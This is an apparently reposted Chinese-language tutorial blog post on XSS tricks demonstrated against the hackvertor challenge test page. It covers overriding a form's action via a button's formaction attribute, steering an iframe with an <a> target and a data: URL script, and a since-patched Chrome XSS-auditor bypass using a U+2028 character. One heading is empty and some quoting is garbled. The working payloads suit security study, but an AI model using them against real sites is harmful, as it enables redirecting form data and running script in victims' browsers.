一,一点XSS知识开头:
不用圆括号:
二,表单中按钮覆盖form的action
formaction 属性覆盖 form 元素的 action 属性。
所以 http://challenge.hackvertor.co.uk/test.php?x=<form><input type=submit formaction=http://google测试数据><textarea name=x>
<!doctype html> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <body> <form><input type=submit formaction=http://google测试数据><textarea name=x> <a href="123">test</a> </body>
可以看出在只控制input属性时,还是可以更改整个form的action属性的。而且结果竟然还是http://HdhCmsTestgoogle测试数据.hk/?x=+<a+href=]123″>test</a></body> 显然还把x作为了form的一部分,值为 <a href=]123″>test</a></body>
总结:按钮的formaction属性可以更改form的action属性。
三,利用同页面的<a>标签控制iframe.<iframe src=]http://challenge.hackvertor.co.uk/test.php?x=<iframe name=x></iframe>]></iframe><a href=]http://businessinfo.co.uk] target=x id=x></a><script>window.onload=function(){x.click()}</script> 这段代码说明在iframe外通过<a>标签来控制同界面的<iframe> 测试链接:http://challenge.hackvertor.co.uk/test.php?x=<iframe name=x></iframe><a href=]data:text/html,<script>self.location=’http://businessinfo.co.uk’</script>] target=x>Click me</a>
点击]Clieck me]即可使iframe加载新内容。
总结:利用<a>标签的target属性,使其控制指定的iframe.
四,绕过Chrome 谷歌浏览器的XSS检测 示例:
http://challenge.hackvertor.co.uk/test.php?x=%3Ca%20href=%22javascript:alert(1);%E2%80%A8–%3E
源码 :
<!doctype html > <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <body> <a href="javascript:alert(1); --> <a href="123">test</a> </body>
http://challenge.hackvertor.co.uk/test.php?x=%3Ciframe%20src=%22javascript:alert(1)%E2%80%A8–%3E
可以看到这源码中是有%A8这特殊字符的,再加上–>(HTML的注释),即可绕过。(24.0.1312.52 下测试通过,最新版已修补)
查看更多关于一些与XSS相关的控制与绕过 - 网站安全 - 自学p的详细内容...